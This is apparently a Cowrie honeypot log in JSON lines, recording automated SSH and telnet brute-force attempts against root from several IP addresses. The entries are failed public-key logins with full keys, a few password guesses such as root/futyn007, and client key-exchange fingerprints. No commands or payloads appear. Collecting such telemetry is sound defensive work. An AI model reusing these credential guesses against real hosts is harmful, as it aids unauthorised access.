{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:59:e5:6f:51:32:fe:09:46:fb:e4:34:48:20:4c:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtL+mAC7CgFrjdAyyRo6navzosZ8OyNFmhnCqOj7YIE5se+esWlIP7FSY8s3JInfrL1Ak9gyvXd8L7WYMlwKaFEZymlE8vy9wwyhLMNIk4HhltVXfKDOkjhZyKt9L/W899J0Nz4s9t8ZEZld3pgqLOh4+peki76YxHu4g3Yd0Lucwr/orVL55MEPQ2Q5BRk+fB85iHOjP1XXi2PfO/0JmvmU3VTABJPiVLrzhvPFR4jT5XV/Iiu+jydbHRzdJaHWCV5xU7eGBO7vTZ0GlMAILoTm8tnPZYYMs31GMiG95dyMpbNiDf4gc26YrF1giR5UTbrsg5gxEjpfze6nYD6lb/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:10.707233Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:87:5e:6b:af:cb:b4:53:f3:b6:4a:d4:b3:be:33:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC050AqCgOA2E+q8pYQk0fAA99+N9IiXv4epk3BczqjKNSuvspJ/gErrJez5Sps3jWbItD8dTKLrYR3N3lkrYCMJhDRTslo15srNa1qM6ImXUYoLmXjhLO+m9I62W+IjjW7VUNYZlzco7X4s0qk+YoHp06adxwD7KIsLIRRQz6E5op74Rbf6SUPEPSigIL7L5qUZuq6yZXf7qOLR+6wy8Z5aHD7UCVNKoIwg00O7cSaTrgvDcrLqi0jfT1HjQ1mz5GXMMXpNJldLhUFj5MWdV2aJhucyPLyehVYM3e+m4HkoAi+lGOUWGHPkHtGSapLz9Rd9SsALLcLBUqtEP2wlwV+PcmQw07aUIZyLoUbsURjtEVFiRcOhp/FrQ6a7I3IAWpdjjhPaK9Nq8eBwffFyzHmWCJJU4cjrTijITHXjpCisoBoQ8DgMttHapzaPd0F7NAeAj4WguMrnwo+uvG3ErggRE5dTpGlV5D62OGN0tS844tjE3sALaeLjHQcFpP8OHk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:87:5e:6b:af:cb:b4:53:f3:b6:4a:d4:b3:be:33:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:10.818666Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:87:5e:6b:af:cb:b4:53:f3:b6:4a:d4:b3:be:33:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC050AqCgOA2E+q8pYQk0fAA99+N9IiXv4epk3BczqjKNSuvspJ/gErrJez5Sps3jWbItD8dTKLrYR3N3lkrYCMJhDRTslo15srNa1qM6ImXUYoLmXjhLO+m9I62W+IjjW7VUNYZlzco7X4s0qk+YoHp06adxwD7KIsLIRRQz6E5op74Rbf6SUPEPSigIL7L5qUZuq6yZXf7qOLR+6wy8Z5aHD7UCVNKoIwg00O7cSaTrgvDcrLqi0jfT1HjQ1mz5GXMMXpNJldLhUFj5MWdV2aJhucyPLyehVYM3e+m4HkoAi+lGOUWGHPkHtGSapLz9Rd9SsALLcLBUqtEP2wlwV+PcmQw07aUIZyLoUbsURjtEVFiRcOhp/FrQ6a7I3IAWpdjjhPaK9Nq8eBwffFyzHmWCJJU4cjrTijITHXjpCisoBoQ8DgMttHapzaPd0F7NAeAj4WguMrnwo+uvG3ErggRE5dTpGlV5D62OGN0tS844tjE3sALaeLjHQcFpP8OHk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:10.822768Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:44:c7:db:bc:e9:f8:eb:06:3a:c8:31:d1:6b:72:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcPy4Mcl+SxbhV+lXtZ+qLW7KrjU21rEsEtOKQJJzfyYaH8Z515IMjM5PjRc4rZl3bLpxZ1wAwmFdgVTsBvm14xKBJ9E7Ni0sJsOPMAJjJVh5Ldl06K737mD2zwbeRzqqRMiVpeu3dvfrGHoa1bk7RCth/ZLTILFwr2LWfLeRc0axysmznu9TvismqK5JmXOPgF023tSOLPbeRCbFFS3dN4s3ZKHl/Ed4suSc6eA2S1awZAGIaFiQgx/mF0xWqjQ7Usi4WE/sjwmjun5sssAva5UbezCg4SGxq18rhKILbZbAUgPCo9jin8PoOUQ29RUdtx0qvUDgTYRQ29+IiQ+nRR7Pz829oZsBlF/2e3KDLvQDK2skyTKaZA+Do6/IwuSzU/fdFxBU8rmUKtRKNUB+w2VlKhzBrCRJ4DH7ZvO21BaDijNIJNpfzu68e8Nw7QNyOkMuZ45gz0M0dsyBhqWBCAFOPe/4VNAACAra7b4eOpmmsywh6MoQvvSBgcDsgkD/qSoYMTrHAfCucb7YJZCVDOz4l1/d4nPnKZZmq306YqA73ruMcLLbeW2LPTAvCCOo8w4RYLYmXK90/IZxG7j2InziL6cI+/mx1jr3pNMwEz0Y6TuFWHZJxnQz59DMAbrJjpaYDn3PWXcqV9ZsQG0IHixXJ/YwZfDa00H0/HvC+8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:44:c7:db:bc:e9:f8:eb:06:3a:c8:31:d1:6b:72:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:10.935223Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:44:c7:db:bc:e9:f8:eb:06:3a:c8:31:d1:6b:72:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcPy4Mcl+SxbhV+lXtZ+qLW7KrjU21rEsEtOKQJJzfyYaH8Z515IMjM5PjRc4rZl3bLpxZ1wAwmFdgVTsBvm14xKBJ9E7Ni0sJsOPMAJjJVh5Ldl06K737mD2zwbeRzqqRMiVpeu3dvfrGHoa1bk7RCth/ZLTILFwr2LWfLeRc0axysmznu9TvismqK5JmXOPgF023tSOLPbeRCbFFS3dN4s3ZKHl/Ed4suSc6eA2S1awZAGIaFiQgx/mF0xWqjQ7Usi4WE/sjwmjun5sssAva5UbezCg4SGxq18rhKILbZbAUgPCo9jin8PoOUQ29RUdtx0qvUDgTYRQ29+IiQ+nRR7Pz829oZsBlF/2e3KDLvQDK2skyTKaZA+Do6/IwuSzU/fdFxBU8rmUKtRKNUB+w2VlKhzBrCRJ4DH7ZvO21BaDijNIJNpfzu68e8Nw7QNyOkMuZ45gz0M0dsyBhqWBCAFOPe/4VNAACAra7b4eOpmmsywh6MoQvvSBgcDsgkD/qSoYMTrHAfCucb7YJZCVDOz4l1/d4nPnKZZmq306YqA73ruMcLLbeW2LPTAvCCOo8w4RYLYmXK90/IZxG7j2InziL6cI+/mx1jr3pNMwEz0Y6TuFWHZJxnQz59DMAbrJjpaYDn3PWXcqV9ZsQG0IHixXJ/YwZfDa00H0/HvC+8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:10.938845Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:6f:89:9f:d8:2a:9c:fc:de:f0:cd:06:aa:a4:1f:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRwRRzExkcHwFX47DdR0Geb5nrOSeGRuX3m9osDXOJPbgbDgkfCaVq5wbjp/q5CV6DUo4wNAdzVOA1/SHyvNTyo6K9WS9AG+MCaj8Hqib5VeFMCSp08PqvjciU5wT1Vck5TOy6yPZbO2fIQYiWneI4RCWmrcPrioK0iqQnEVuHxuoX1QXD1nO2JFYVh6PZcXT7QeRSP8IIngZB88XpfxUsTBrpcdkihRFxQNGvAkZwCmAMkRMt2ys6JxLPmpnR27KHTGGbsGNZR+L4v5YQd2HKZnb6HwcjNeQOXuNvoD3val/DQKWZgwreXLyj0Fx2Ktnd7Hu5bxvP9c0TRdrjhQFDzmfqSb/f1mghHzW2QQl7d8QASrCIUu0fi7ns6InJNWh5pQZkpHrckTfT77WbsU3JW+3aVLSdwP0+sX2vLp9ls1gywTUY4TOAhRI9cwy/wPTFRWrgJZC/W+qXBRdP7dqR2mNX9m1lQVEHvfx3vHIrLicGGlKjwfmHXRLtzBylEvg8NMIyiBpMWFV62KVPWjnv5TH/at8Ft+nfBoXLRCwEzrCqwCmNmyYaXYOqz0A65Q/eaf6l2yBUqgb+HZ0K6T8VYMTp7urQC5qmkQEARlqrtfpSSOKDt2BCp1Ekwa80c8eOlRDZTViHa4QSQVQwyt/mfIFKCPFc0rdr5nvzXCz01w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:6f:89:9f:d8:2a:9c:fc:de:f0:cd:06:aa:a4:1f:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:11.056219Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:6f:89:9f:d8:2a:9c:fc:de:f0:cd:06:aa:a4:1f:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRwRRzExkcHwFX47DdR0Geb5nrOSeGRuX3m9osDXOJPbgbDgkfCaVq5wbjp/q5CV6DUo4wNAdzVOA1/SHyvNTyo6K9WS9AG+MCaj8Hqib5VeFMCSp08PqvjciU5wT1Vck5TOy6yPZbO2fIQYiWneI4RCWmrcPrioK0iqQnEVuHxuoX1QXD1nO2JFYVh6PZcXT7QeRSP8IIngZB88XpfxUsTBrpcdkihRFxQNGvAkZwCmAMkRMt2ys6JxLPmpnR27KHTGGbsGNZR+L4v5YQd2HKZnb6HwcjNeQOXuNvoD3val/DQKWZgwreXLyj0Fx2Ktnd7Hu5bxvP9c0TRdrjhQFDzmfqSb/f1mghHzW2QQl7d8QASrCIUu0fi7ns6InJNWh5pQZkpHrckTfT77WbsU3JW+3aVLSdwP0+sX2vLp9ls1gywTUY4TOAhRI9cwy/wPTFRWrgJZC/W+qXBRdP7dqR2mNX9m1lQVEHvfx3vHIrLicGGlKjwfmHXRLtzBylEvg8NMIyiBpMWFV62KVPWjnv5TH/at8Ft+nfBoXLRCwEzrCqwCmNmyYaXYOqz0A65Q/eaf6l2yBUqgb+HZ0K6T8VYMTp7urQC5qmkQEARlqrtfpSSOKDt2BCp1Ekwa80c8eOlRDZTViHa4QSQVQwyt/mfIFKCPFc0rdr5nvzXCz01w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:11.060677Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:09:54:ca:38:b0:2f:1e:e4:92:af:0a:91:1c:24:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4KWyIa9hnJq/zGY9srqyZVz5SSqUkamdeONgs/wtSksVTTvoySE1uKtzcEfJnhjC9zBJqf+fLoAn7KcKCqSS2fZ54a6ZMxKQJKoY3OqvBQeT5D5beFuNnGBUjTjRienfhfv9mFnmq2oy/0JmkSOdRlkzMsUTt2uq4BepgWu0TBBLV6ZPkSQ+xA4PiLAA3irmkXoFSconv5PsreY4034LhmyAm1vREqeGOnq9ym7ZpoJtlkIbMAl4fzIXd3JvU0P0c3Pvg1gaGREliy1gy0YpT5lq8ishBNNKmSoCgxz0daUCnaL72FkMsw96bPz6MtEp1O9AKeKbL2GyphkVsaqr7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:09:54:ca:38:b0:2f:1e:e4:92:af:0a:91:1c:24:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:11.175213Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:09:54:ca:38:b0:2f:1e:e4:92:af:0a:91:1c:24:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4KWyIa9hnJq/zGY9srqyZVz5SSqUkamdeONgs/wtSksVTTvoySE1uKtzcEfJnhjC9zBJqf+fLoAn7KcKCqSS2fZ54a6ZMxKQJKoY3OqvBQeT5D5beFuNnGBUjTjRienfhfv9mFnmq2oy/0JmkSOdRlkzMsUTt2uq4BepgWu0TBBLV6ZPkSQ+xA4PiLAA3irmkXoFSconv5PsreY4034LhmyAm1vREqeGOnq9ym7ZpoJtlkIbMAl4fzIXd3JvU0P0c3Pvg1gaGREliy1gy0YpT5lq8ishBNNKmSoCgxz0daUCnaL72FkMsw96bPz6MtEp1O9AKeKbL2GyphkVsaqr7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:11.179219Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:11.292345Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":58876,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d871f6248cc","protocol":"ssh","message":"New connection: 103.149.28.157:58876 (159.203.135.109:22) [session: 3d871f6248cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:11.947018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:11.951733Z","src_ip":"103.149.28.157","session":"3d871f6248cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.87097597122192,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:11.955020Z","src_ip":"152.42.224.71","session":"bcdfb75d0ced","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:12.197186Z","src_ip":"103.149.28.157","session":"3d871f6248cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"futyn007","message":"login attempt [root/futyn007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:12.937516Z","src_ip":"103.149.28.157","session":"3d871f6248cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:14.188483Z","src_ip":"103.149.28.157","session":"3d871f6248cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":57766,"dst_ip":"10.17.0.5","dst_port":22,"session":"23be8942190d","protocol":"ssh","message":"New connection: 80.66.85.226:57766 (10.17.0.5:22) [session: 23be8942190d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:29.931839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:29.936619Z","src_ip":"80.66.85.226","session":"23be8942190d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:30.026334Z","src_ip":"80.66.85.226","session":"23be8942190d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex","message":"login attempt [root/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:30.297378Z","src_ip":"80.66.85.226","session":"23be8942190d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34068,"dst_ip":"10.17.0.5","dst_port":23,"session":"c51e34c6b856","protocol":"telnet","message":"New connection: 152.42.224.71:34068 (10.17.0.5:23) [session: c51e34c6b856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:30.741153Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:31.390698Z","src_ip":"80.66.85.226","session":"23be8942190d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43810,"dst_ip":"10.17.0.5","dst_port":23,"session":"718a0f4b505c","protocol":"telnet","message":"New connection: 152.42.224.71:43810 (10.17.0.5:23) [session: 718a0f4b505c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:37.198438Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":40836,"dst_ip":"159.203.135.109","dst_port":22,"session":"f542351887d4","protocol":"ssh","message":"New connection: 139.19.117.129:40836 (159.203.135.109:22) [session: f542351887d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:42.859168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:42.863926Z","src_ip":"139.19.117.129","session":"f542351887d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:42.953307Z","src_ip":"139.19.117.129","session":"f542351887d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43812,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf5e2550b45d","protocol":"telnet","message":"New connection: 152.42.224.71:43812 (10.17.0.5:23) [session: cf5e2550b45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:43.055090Z"}
{"eventid":"cowrie.session.closed","duration":52.60721278190613,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:43.129871Z","src_ip":"152.42.224.71","session":"b7b0815d5e49","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:1d:a8:88:46:1a:a4:61:da:b2:3c:c0:2a:09:71:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu6098r892+Qm1/Fi6D4BMjV487b+uGpnH4TnZp7Qr7NYQuxs7jiOPod32rBSTcfx2eXUcrOFVZSKZ6wMJtEKz9bRj2WxLZuMPJxi96mFHNbr7FE9QyxCAVqtu8aK6/8ZgLARp9m1KrK0U1yzJf/GqpVNF3RrnD7g0VDbcv9efCvhLXoGuM2wGGSB1GuOMrnqhdYyImCOTsXGm5CDIyiJvuPLDUVyhajYcewY51T6RukbjTv2DIb7b++hyyZTcGqZ9uWMoJpZuNuq8K+TIPHd7TF0EWJhhTt1a8dyOXXp147GN1RDT+nZRXQ+Ld+MjE5nGPILLcVsAGmT9Pw8UlI2b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:1d:a8:88:46:1a:a4:61:da:b2:3c:c0:2a:09:71:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:43.135553Z","src_ip":"139.19.117.129","session":"f542351887d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:1d:a8:88:46:1a:a4:61:da:b2:3c:c0:2a:09:71:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu6098r892+Qm1/Fi6D4BMjV487b+uGpnH4TnZp7Qr7NYQuxs7jiOPod32rBSTcfx2eXUcrOFVZSKZ6wMJtEKz9bRj2WxLZuMPJxi96mFHNbr7FE9QyxCAVqtu8aK6/8ZgLARp9m1KrK0U1yzJf/GqpVNF3RrnD7g0VDbcv9efCvhLXoGuM2wGGSB1GuOMrnqhdYyImCOTsXGm5CDIyiJvuPLDUVyhajYcewY51T6RukbjTv2DIb7b++hyyZTcGqZ9uWMoJpZuNuq8K+TIPHd7TF0EWJhhTt1a8dyOXXp147GN1RDT+nZRXQ+Ld+MjE5nGPILLcVsAGmT9Pw8UlI2b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:43.139244Z","src_ip":"139.19.117.129","session":"f542351887d4","protocol":"ssh"}
